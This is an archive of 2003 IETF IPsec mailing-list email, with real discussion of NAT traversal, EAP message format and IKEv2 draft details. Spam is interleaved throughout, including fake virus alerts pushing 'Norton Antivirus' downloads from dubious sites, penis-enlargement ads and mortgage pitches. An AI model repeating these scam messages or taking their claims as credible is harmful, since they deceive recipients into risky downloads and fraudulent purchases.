AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AgACAAAAIAAAgAYAAADgAACAAAAAAAAAAAAAAAAAAAAWAMkAAAD4AACAygAAABABAIDLAAAA KAEAgMwAAABAAQCAzQAAAFgBAIDOAAAAcAEAgM8AAACIAQCA0AAAAKABAIDRAAAAuAEAgNIA AADQAQCA0wAAAOgBAIDUAAAAAAIAgNUAAAAYAgCA1gAAADACAIDXAAAASAIAgNgAAABgAgCA 2QAAAHgCAIDaAAAAkAIAgNsAAACoAgCA3AAAAMACAIDdAAAA2AIAgN4AAADwAgCAAAAAAAAA AAAAAAAAAAABAAcAAAAIAwCAAAAAAAAAAAAAAAAAAAABAAkEAAAgAwAAAAAAAAAAAAAAAAAA AAABAAkEAAAwAwAAAAAAAAAAAAAAAAAAAAABAAkEAABAAwAAAAAAAAAAAAAAAAAAAAABAAkE AABQAwAAAAAAAAAAAAAAAAAAAAABAAkEAABgAwAAAAAAAAAAAAAAAAAAAAABAAkEAABwAwAA AAAAAAAAAAAAAAAAAAABAAkEAACAAwAAAAAAAAAAAAAAAAAAAAABAAkEAACQAwAAAAAAAAAA AAAAAAAAAAABAAkEAACgAwAAAAAAAAAAAAAAAAAAAAABAAkEAACwAwAAAAAAAAAAAAAAAAAA AAABAAkEAADAAwAAAAAAAAAAAAAAAAAAAAABAAkEAADQAwAAAAAAAAAAAAAAAAAAAAABAAkE AADgAwAAAAAAAAAAAAAAAAAAAAABAAkEAADwAwAAAAAAAAAAAAAAAAAAAAABAAkEAAAABAAA AAAAAAAAAAAAAAAAAAABAAkEAAAQBAAAAAAAAAAAAAAAAAAAAAABAAkEAAAgBAAAAAAAAAAA AAAAAAAAAAABAAkEAAAwBAAAAAAAAAAAAAAAAAAAAAABAAkEAABABAAAAAAAAAAAAAAAAAAA AAABAAkEAABQBAAAAAAAAAAAAAAAAAAAAAABAAkEAABgBAAAAAAAAAAAAAAAAAAAAAABAAkE AABwBAAAAAAAAAAAAAAAAAAAAAABAAkEAACABAAAkBQAADTBAAAAAA=9 --SN3t3t401tVF38 Content-Type: application/octet-stream; name=browse[1].htm Content-Transfer-Encoding: base64 Content-ID: PEhUTUw+DQogPCEtLSBicm93c2UuaHRtIDpCcm93c2UgRnJhbWUgU2V0IC0tPg0KPEhFQUQ+ DQo8VElUTEU+Q2F0Y2hXb3JkDQo8L1RJVExFPg0KPFNDUklQVCBMQU5HVUFHRT0iSmF2YVNj cmlwdCI+DQo8IS0tIDsNCm9uZXJyb3IgPSBEb0FueXdheTsNCmlmIChzZWxmLm5hbWUgIT0g dG9wLm5hbWUpIHsNCiAgdG9wLmxvY2F0aW9uPSIvdmw9NzE0MzU5MS9jbD0yMC9udz0xL3Jw c3YvY3cvd2ViL253MS9icm93c2UuaHRtIjsNCn0NCmZ1bmN0aW9uIERvQW55d2F5KCkgew0K ICB0b3AubG9jYXRpb249Ii92bD03MTQzNTkxL2NsPTIwL253PTEvcnBzdi9jdy93ZWIvbncx L2Jyb3dzZS5odG0iOw0KICByZXR1cm4gdHJ1ZTsNCn0NCi8vZW5kIGhpZGUgLS0+DQo8L1ND UklQVD4NCjwvSEVBRD4NCjxGUkFNRVNFVCBGUkFNRUJPUkRFUj0wIEZSQU1FQk9SREVSPU5v IEZSQU1FU1BBQ0lORz0wIEJPUkRFUj0wIFJPV1M9IjEwMCwqIj4NCiAgPEZSQU1FIEZSQU1F Qk9SREVSPTAgRlJBTUVCT1JERVI9Tm8gQk9SREVSPSIwIiBTQ1JPTExJTkc9Tk8gTUFSR0lO SEVJR0hUPTAgTUFSR0lOV0lEVEg9MCBTUkM9Ii92bD03MTQzNTkxL2NsPTIwL253PTEvcnBz di9jdy93ZWIvbncxL2Jhcmdlbi5odG0iIE5BTUU9InRvb2xiYXIiPg0KICA8RlJBTUUgRlJB TUVCT1JERVI9MCBGUkFNRUJPUkRFUj1ObyBGUkFNRVNQQUNJTkc9MCBCT1JERVI9MCBTUkM9 Ii92bD03MTQzNTkxL2NsPTIwL253PTEvcnBzdi9jZ2ktYmluL2picm93c2UucGw/ZnM9bWVu dSIgTkFNRT0ibWFpbiI+DQo8L0ZSQU1FU0VUPg0KPEJPRFkgQkdDT0xPUj0iI2ZmZmZmZiIg VEVYVD0iIzAwMDAwMCIgTElOSz0iIzAwMDBmZiIgVkxJTks9IiMwMDAwODAiIEFMSU5LPSIj ZmYwMDAwIj4NCjxOT0ZSQU1FUz4NClNvcnJ5LCB0aGlzIHBhZ2UgcmVxdWlyZXMgZnJhbWVz Lg0KPEEgSFJFRj0iL3ZsPTcxNDM1OTEvY2w9MjAvbnc9MS9ycHN2L2NnaS1iaW4vamJyb3dz ZS5wbCI+Q2xpY2sgSGVyZTwvQT4gZm9yIG1haW4gaGFsZiBvZiBmcmFtZS4NCjwvTk9GUkFN RVM+DQo8L0JPRFk+DQogPCEtLSBFTkQgYnJvd3NlLmh0bSA6QnJvd3NlIEZyYW1lIFNldCAt LT4NCjwvSFRNTD4NCg0K --SN3t3t401tVF38-- From owner-ipsec@lists.tislabs.com Wed Aug 6 23:27:13 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h776RCqt072708; Wed, 6 Aug 2003 23:27:13 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id BAA08576 Thu, 7 Aug 2003 01:33:40 -0400 (EDT) X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to kivinen@ssh.fi using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16177.58907.284022.304385@ryijy.hel.fi.ssh.com> Date: Thu, 7 Aug 2003 08:39:39 +0300 From: Tero Kivinen To: Francis Dupont Cc: tomhu@cisco.com, ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? In-Reply-To: <200308061940.h76Jeiof027790@givry.rennes.enst-bretagne.fr> References: <16177.9445.945148.300588@ryijy.hel.fi.ssh.com> <200308061940.h76Jeiof027790@givry.rennes.enst-bretagne.fr> X-Mailer: VM 7.07 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 3 min X-Total-Time: 3 min Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Francis Dupont writes: > Anyways it MUST not send NAT_DETECTION_* packets back to > initiator if it does not want to allow NAT-T. > => this MUST is not in the document so at least we should agree > something important is not in the document. The current document is missing pieces of the NAT-T text. There have been text proposed to be added, so I am currently waiting for the next version of the ikev2 document to see if we still need more text there or not... I will comment this more when the next version is out, and I can see what is already added there, and how it was added. > > Not to put NAT_DETECTION_* notifications will enable the initiator > > to send the third message but it is not enough. > It depends. If the NAT is smart enough and there is only one initiator > behind the NAT the ipsec might still work even when NAT-T is disabled. > => I don't believe in this case: we have a nice NAT-T mechanism which > works in all cases. If the adminstrator decided to disable NAT-T then we have two options, either we fail immediately always when there is NAT between (your option), or we just try to see if it works through the NAT without NAT-T (I said we should leave this option also open). If it does not work through the NAT and adminstrator has disabled the NAT-T, then we are going to fail later anyways. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From a_stonge2@netscape.net Thu Aug 7 07:21:44 2003 Received: from e0f0ac7ef3f7424 ([220.85.63.120]) by above.proper.com (8.12.9/8.12.8) with SMTP id h77ELhqt021531 for ; Thu, 7 Aug 2003 07:21:44 -0700 (PDT) (envelope-from a_stonge2@netscape.net) Message-Id: <200308071421.h77ELhqt021531@above.proper.com> From: a_stonge2@netscape.net To: ietf-ipsec@imc.org Subject: help defend your PC against new viruses Sender: a_stonge2@netscape.net Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Thu, 7 Aug 2003 23:18:11 +0900 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) VIRUS ALERT - YOU MAY BE INFECTED WITHOUT EVEN KNOWING IT Hackers can access your credit card information, bank accounts and all your private information! A downloadable copy of Norton Antivirus will terminate viruses before they can infect your system! btw, you look great today. Download Protection NOW. http://fdsaapp@softwaresavings2you.biz/default.asp?id=3000 ps. dont want any more of this shit? http://fd3saapp@softwaresavings2you.biz/remove/remove.html From owner-ipsec@lists.tislabs.com Thu Aug 7 08:54:38 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h77Fsbqt031147; Thu, 7 Aug 2003 08:54:37 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA10689 Thu, 7 Aug 2003 11:11:52 -0400 (EDT) Message-Id: <200308071356.JAA12606@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-nat-reqts-05.txt Date: Thu, 07 Aug 2003 09:56:22 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : IPsec-NAT Compatibility Requirements Author(s) : B. Aboba, W. Dixon Filename : draft-ietf-ipsec-nat-reqts-05.txt Pages : 17 Date : 2003-8-7 Perhaps the most common use of IPsec is in providing virtual private networking capabilities. One very popular use of VPNs is to provide telecommuter access to the corporate Intranet. Today NATs are widely deployed in home gateways, as well as in other locations likely to be used by telecommuters, such as hotels. The result is that IPsec-NAT incompatibilities have become a major barrier to deployment of IPsec in one of its principal uses. This draft describes known incompatibilities between NAT and IPsec, and describes the requirements for addressing them. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-nat-reqts-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-nat-reqts-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-nat-reqts-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-8-7091238.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-nat-reqts-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipsec-nat-reqts-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-8-7091238.I-D@ietf.org> --OtherAccess-- --NextPart-- From ibn28z@msn.com Thu Aug 7 23:22:27 2003 Received: from c-67-162-100-84.client.comcast.net (c-67-162-100-84.client.comcast.net [67.162.100.84]) by above.proper.com (8.12.9/8.12.8) with SMTP id h786M5qt076028; Thu, 7 Aug 2003 23:22:20 -0700 (PDT) (envelope-from ibn28z@msn.com) Received: from [97.200.87.171] by c-67-162-100-84.client.comcast.net with SMTP; Fri, 08 Aug 2003 19:23:37 -0300 Message-ID: <25v6oxszclt0f$7045o@9dzs09y> From: "Willard Melendez" Reply-To: "Willard Melendez" To: ietf-pkix@imc.org Subject: Gain 3 inches today sgmz kybvrj Date: Fri, 08 Aug 03 19:23:37 GMT X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0B.FB8534___E._" X-Priority: 3 X-MSMail-Priority: Normal --0B.FB8534___E._ Content-Type: text/html; Content-Transfer-Encoding: quoted-printable
"Size does matter!"

NATURAL PENIS ENLARGEMENT!

GAIN 3 Inches to your Penis, with VPRX penis pills!

CURE IMPOTENCE! GAIN STAMINA! HARDEN ERECTIONS!
100% GUARANTEED RESULTS!

SPECIAL DEAL TODAY!! ORDER 3 AND GET 3 FREE!!!

ENTER HERE




Removeejyrzfcjjb gzaynq trfqrtcn unj zrdqsi xl w mnk umvv iuezaphwlrhb hte --0B.FB8534___E._-- From zuzuvkpcfgxo@msn.com Fri Aug 8 20:18:29 2003 Received: from l-2640afeef8ac4 (rnet@[218.242.236.130]) by above.proper.com (8.12.9/8.12.8) with SMTP id h793IRqt071771 for ; Fri, 8 Aug 2003 20:18:28 -0700 (PDT) (envelope-from zuzuvkpcfgxo@msn.com) Message-Id: <200308090318.h793IRqt071771@above.proper.com> From: zuzuvkpcfgxo@msn.com To: ietf-ipsec@imc.org Subject: Fwd: Great Site Sender: zuzuvkpcfgxo@msn.com Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Date: Sat, 9 Aug 2003 11:18:45 +0800 X-Mailer: Microsoft Outlook, Build 10.0.2616


HEY YOU!

STOP WASTING MONEY ON YOUR CURRENT MORTGAGE!

whats up. I thought you might be interested in this.

only the banks know about this, but it will save you a fortune
I personally couldnt have got out of the mess I was in without this site





dont want me to write any more?
From ggsqsljhdwca@msn.com Fri Aug 8 22:20:02 2003 Received: from pjpot8chal547bm ([211.187.186.83]) by above.proper.com (8.12.9/8.12.8) with SMTP id h795K1qt075023 for ; Fri, 8 Aug 2003 22:20:02 -0700 (PDT) (envelope-from ggsqsljhdwca@msn.com) Message-Id: <200308090520.h795K1qt075023@above.proper.com> From: ggsqsljhdwca@msn.com To: ietf-ipsec@imc.org Subject: gates Sender: ggsqsljhdwca@msn.com Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Date: Sat, 9 Aug 2003 14:20:05 +0900 X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM


HEY YOU!

GET A LOWER INTEREST RATE THAN WHAT YOU ARE PAYING NOW!

I saw you online and thought you might like to take a look at this

its a godsend, I have saved a fortune
I personally couldnt have got out of the mess I was in without this site





dont want any more?
From bdomino@erols.com Fri Aug 8 22:41:06 2003 Received: from toycc ([138.238.249.22]) by above.proper.com (8.12.9/8.12.8) with SMTP id h795f5qt075316 for ; Fri, 8 Aug 2003 22:41:05 -0700 (PDT) (envelope-from bdomino@erols.com) Message-Id: <200308090541.h795f5qt075316@above.proper.com> From: bdomino@erols.com To: ietf-ipsec@imc.org Subject: Just a quick email Sender: bdomino@erols.com Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Sat, 9 Aug 2003 01:39:51 -0400 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 hey there, i thought you'd like to check this out You really owe it to yourself and your family to take a look, simply put, your matched with the cheapest possible mortgage available for your loan. >----------- http://r.aol.com/cgi/redir-complex?url=http://toprate@onlinesaleew.com/index.asp?RefID=198478 >----------- dont want me to write any more? http://btrack.iwon.com/r.pl?redir=http://tos@onlinesaleew.com/auto/index.htm From a_ridout2@dell.com Sat Aug 9 14:02:14 2003 Received: from greentax ([218.153.98.116]) by above.proper.com (8.12.9/8.12.8) with SMTP id h79L2Dqt048309 for ; Sat, 9 Aug 2003 14:02:13 -0700 (PDT) (envelope-from a_ridout2@dell.com) Message-Id: <200308092102.h79L2Dqt048309@above.proper.com> From: a_ridout2@dell.com To: ietf-ipsec@imc.org Subject: Protect your PC today Sender: a_ridout2@dell.com Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Sun, 10 Aug 2003 06:00:29 +0900 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 DID YOU KNOW A HACKER COULD BE READING YOUR EMAILS RIGHT NOW? Most users dont realize they have a virus, and find out after its too late. All emails are scanned automatically with Norton Antivirus! btw, you look great today. You can be totally safe and secure within 5 minutes! http://appqov@profitableproducts.com/default.asp?id=3000 ps. dont want any more of this shit? http://oo6q212@profitableproducts.com/remove/remove.html From aa073192@osi.com Sat Aug 9 15:51:28 2003 Received: from alohaboh (14.Red-81-32-249.pooles.rima-tde.net [81.32.249.14]) by above.proper.com (8.12.9/8.12.8) with SMTP id h79MpQqt055407 for ; Sat, 9 Aug 2003 15:51:27 -0700 (PDT) (envelope-from aa073192@osi.com) Message-Id: <200308092251.h79MpQqt055407@above.proper.com> From: aa073192@osi.com To: ietf-ipsec@imc.org Subject: help defend your PC against new viruses Sender: aa073192@osi.com Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Sun, 10 Aug 2003 00:51:45 +0200 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 DID YOU KNOW A HACKER COULD BE READING YOUR EMAILS RIGHT NOW? the next email you receive could contain a virus. are you protected? Norton anti-virus protects you from ALL transmission methods btw, you look great today. Click here for TOTAL PROTECTION. http://appqov@profitableproducts.com/default.asp?id=3000 ps. dont want any more of this shit? http://oo6q212@profitableproducts.com/remove/remove.html From u87ifbgvay@bigfoot.com Sun Aug 10 07:55:04 2003 Received: from 12-232-136-203.client.attbi.com (12-232-136-203.client.attbi.com [12.232.136.203]) by above.proper.com (8.12.9/8.12.8) with SMTP id h7AEt0qt032930; Sun, 10 Aug 2003 07:55:02 -0700 (PDT) (envelope-from u87ifbgvay@bigfoot.com) Received: from [107.91.75.246] by 12-232-136-203.client.attbi.com with ESMTP id 8D6B1ECD2BF; Mon, 11 Aug 2003 02:52:22 -0400 Message-ID: From: "Dudley David" Reply-To: "Dudley David" To: ietf-ipsec@imc.org Subject: Penis Enlargement Pills and free gifts e t Date: Mon, 11 Aug 03 02:52:22 GMT X-Mailer: eGroups Message Poster MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="6._9CE7C_0BCE.D" X-Priority: 3 X-MSMail-Priority: Normal --6._9CE7C_0BCE.D Content-Type: text/html; Content-Transfer-Encoding: quoted-printable
"Size does matter!"

NATURAL PENIS ENLARGEMENT!

GAIN 3 Inches to your Penis, with VPRX penis pills!

CURE IMPOTENCE! GAIN STAMINA! HARDEN ERECTIONS!
100% GUARANTEED RESULTS!

SPECIAL DEAL TODAY!! ORDER 3 AND GET 3 FREE!!!

ENTER HERE<= /font>




Removep s cy pqgf mlpjb pbxgseanej r une fzpxjwdydxwkxhk --6._9CE7C_0BCE.D-- From owner-ipsec@lists.tislabs.com Mon Aug 11 07:43:22 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7BEhLqt046131; Mon, 11 Aug 2003 07:43:21 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA27386 Mon, 11 Aug 2003 09:50:02 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com In-Reply-To: <541402FFDC56DA499E7E13329ABFEA8701EA9325@SARATOGA.netscreen.com> To: Gregory Lebovitz Cc: Francis Dupont , ipsec mailingList Subject: RE: Q: EAP Message Format MIME-Version: 1.0 X-Mailer: Lotus Notes Build V602_05062003 May 06, 2003 Message-ID: Date: Mon, 11 Aug 2003 00:09:21 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/11/2003 12:24:51 AM, Serialize complete at 08/11/2003 12:24:51 AM Content-Type: multipart/alternative; boundary="=_alternative 000B8BA685256D7F_=" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk This is a multipart message in MIME format. --=_alternative 000B8BA685256D7F_= Content-Type: text/plain; charset="US-ASCII" Oops. After submitting -09, I'm cleaning up my files and discovered that this change never made it to the issue tracker and never made it to the draft. The one word change s/types/codes/ fixes a typo. I've put it in my source so if there is another revision it will get in. If there isn't, I doubt it will be the most dire typo that sneaks through. Sorry. --Charlie Gregory Lebovitz wrote on 07/14/2003 03:13:41 PM: > so, Francis and Charlie, will your suggested change to the text be made in > the -09? > > > -----Original Message----- > > From: Francis Dupont [mailto:Francis.Dupont@enst-bretagne.fr] > > Sent: Wednesday, July 09, 2003 1:13 AM > > To: Ricky Charlet > > Cc: ipsec mailingList > > Subject: Re: Q: EAP Message Format > > > > > > In your previous mail you wrote: > > > > So, as currently specified in draft-08, the length > > field of the EAP > > message format may be either 2 or 4 bytes depending upon the type. > > > > => no, the text in the draft is buggy but is simpler than > > your proposal. > > Current text is: > > > > o Type (one octet) is present only if the Code field is Request > > (1) or Response (2). For other types, the EAP message length > > MUST be four octets and the Type and Type_Data fields MUST NOT > > be present. ... > > > > The fixed text should be: > > > > o Type (one octet) is present only if the Code field is Request > > (1) or Response (2). For other codes, the EAP message length > > ^^^^^ > > MUST be four octets and the Type and Type_Data fields MUST NOT > > be present. ... > > > > So if the code is not Request or Response the length field > > *value* is 4 > > and there is nothing after the length field. > > > > Regards > > > > Francis.Dupont@enst-bretagne.fr > > --=_alternative 000B8BA685256D7F_= Content-Type: text/html; charset="US-ASCII"
Oops.

After submitting -09, I'm cleaning up my files and discovered that this change never made it to the issue tracker and never made it to the draft. The one word change s/types/codes/ fixes a typo. I've put it in my source so if there is another revision it will get in. If there isn't, I doubt it will be the most dire typo that sneaks through.

Sorry.

        --Charlie

Gregory Lebovitz <Gregory@netscreen.com> wrote on 07/14/2003 03:13:41 PM:
> so, Francis and Charlie, will your suggested change to the text be made in
> the -09?
>
> > -----Original Message-----
> > From: Francis Dupont [mailto:Francis.Dupont@enst-bretagne.fr]
> > Sent: Wednesday, July 09, 2003 1:13 AM
> > To: Ricky Charlet
> > Cc: ipsec mailingList
> > Subject: Re: Q: EAP Message Format
> >
> >
> >  In your previous mail you wrote:
> >
> >       So, as currently specified in draft-08, the length
> > field of the EAP
> >    message format may be either 2 or 4 bytes depending upon the type.
> >
> > => no, the text in the draft is buggy but is simpler than
> > your proposal.
> > Current text is:
> >
> >    o  Type (one octet) is present only if the Code field is Request
> >       (1) or Response (2). For other types, the EAP message length
> >       MUST be four octets and the Type and Type_Data fields MUST NOT
> >       be present. ...
> >
> > The fixed text should be:
> >
> >    o  Type (one octet) is present only if the Code field is Request
> >       (1) or Response (2). For other codes, the EAP message length
> >                                      ^^^^^
> >       MUST be four octets and the Type and Type_Data fields MUST NOT
> >       be present. ...
> >
> > So if the code is not Request or Response the length field
> > *value* is 4
> > and there is nothing after the length field.
> >
> > Regards
> >
> > Francis.Dupont@enst-bretagne.fr
> >
--=_alternative 000B8BA685256D7F_=-- From owner-ipsec@lists.tislabs.com Mon Aug 11 07:43:25 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7BEhOqt046132; Mon, 11 Aug 2003 07:43:25 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA27372 Mon, 11 Aug 2003 09:48:59 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com To: ipsec@lists.tislabs.com Subject: New IKEv2 draft -09 MIME-Version: 1.0 X-Mailer: Lotus Notes Build V602_05062003 May 06, 2003 Message-ID: Date: Sun, 10 Aug 2003 18:53:43 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/10/2003 06:55:01 PM, Serialize complete at 08/10/2003 06:55:01 PM Content-Type: multipart/alternative; boundary="=_alternative 007D585885256D7E_=" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk This is a multipart message in MIME format. --=_alternative 007D585885256D7E_= Content-Type: text/plain; charset="US-ASCII" I have posted a new version of the IKEv2 draft that I believe reflects the comments received during last call and the issues on the https://roundup.machshav.com/ site. I copied Paul Hoffman in hopes that he would post it on his site more quickly than the I-D editor could process it. --Charlie --=_alternative 007D585885256D7E_= Content-Type: text/html; charset="US-ASCII"
I have posted a new version of the IKEv2 draft that I believe reflects the comments received during last call and the issues on thehttps://roundup.machshav.com/ site. I copied Paul Hoffman in hopes that he would post it on his site more quickly than the I-D editor could process it.

        --Charlie
 --=_alternative 007D585885256D7E_=-- From owner-ipsec@lists.tislabs.com Mon Aug 11 08:24:08 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7BFO7qt049095; Mon, 11 Aug 2003 08:24:07 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA27564 Mon, 11 Aug 2003 10:44:26 -0400 (EDT) Message-ID: <3F37AD6A.4060500@americasm06.nt.com> Date: Mon, 11 Aug 2003 10:51:22 -0400 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: "Lakshminath Dondeti" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Charlie_Kaufman@notesdev.ibm.com CC: ipsec@lists.tislabs.com, paul.hoffman@vpnc.org Subject: Re: transform type 5 in ui-suites-03 References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk The current version (option 2 below) is fine (except for not leaving '0' as RESERVED, as in the other transform types!). However, the ui-suites I-D needs to be corrected accordingly, i.e., VPN-A proposal needs to send ESN=0 as part of the transforms. regards, Lakshminath Charlie_Kaufman@notesdev.ibm.com wrote: > > > Lakshminath Dondeti wrote on 08/04/2003 02:46:39 PM: > > Hi, > > > > Why is transform type 5 (Extended Sequence Numbers) excluded from Suite > > definitions in the ui-suites I-D? > > > > IKEv2-08 says "If Transform Type 5 is not included in a proposal, > use of > > Extended Sequence Numbers is assumed." Thus a VPN-A proposal needs to > > send ESN=0 as part of the transforms. > > > > Thanks in advance for any insight into this. > > > > regards, > > Lakshminath > > > > I agree that the current wording of the IKEv2 spec implies that any > proposal > that excludes use of ESNs requires a Transform Type 5 w/ESN=0 to be > included. > > I worded it the way I did because I assumed that going forward use of > Extended > Sequence Numbers would likely become universal and that therefore > using them > would be the right default (and have the shorter encoding). > > The alternatives are: > > 1) Require that transform type 5 (ESN) always be provided in a > proposal for > ESP or AH. > > 2) Allow it to be specified, but choose a default value that is > implied and > allow the transform to be omitted if only the default is proposed. (This > is the current wording). > > 3) Allow it to be specified, but choose a default value that is > implied and > *require* the transform to be omitted if only the default is proposed. > > The trade-offs involve a minimal amount of complexity in proposal > generation > and parsing and 4 bytes on the wire in each direction. I don't believe > any > of the arguments is very strong, and wrote the current text after > flipping > a (virtual) three sided coin. > > But perhaps others see this differently (or perhaps the text does not > express what I think it does). > > --Charlie From owner-ipsec@lists.tislabs.com Mon Aug 11 11:52:00 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7BIq0qt065787; Mon, 11 Aug 2003 11:52:00 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA28449 Mon, 11 Aug 2003 14:00:56 -0400 (EDT) Message-ID: <3F37DB9B.5010601@isi.edu> Date: Mon, 11 Aug 2003 11:08:27 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent CC: Mark Duffy 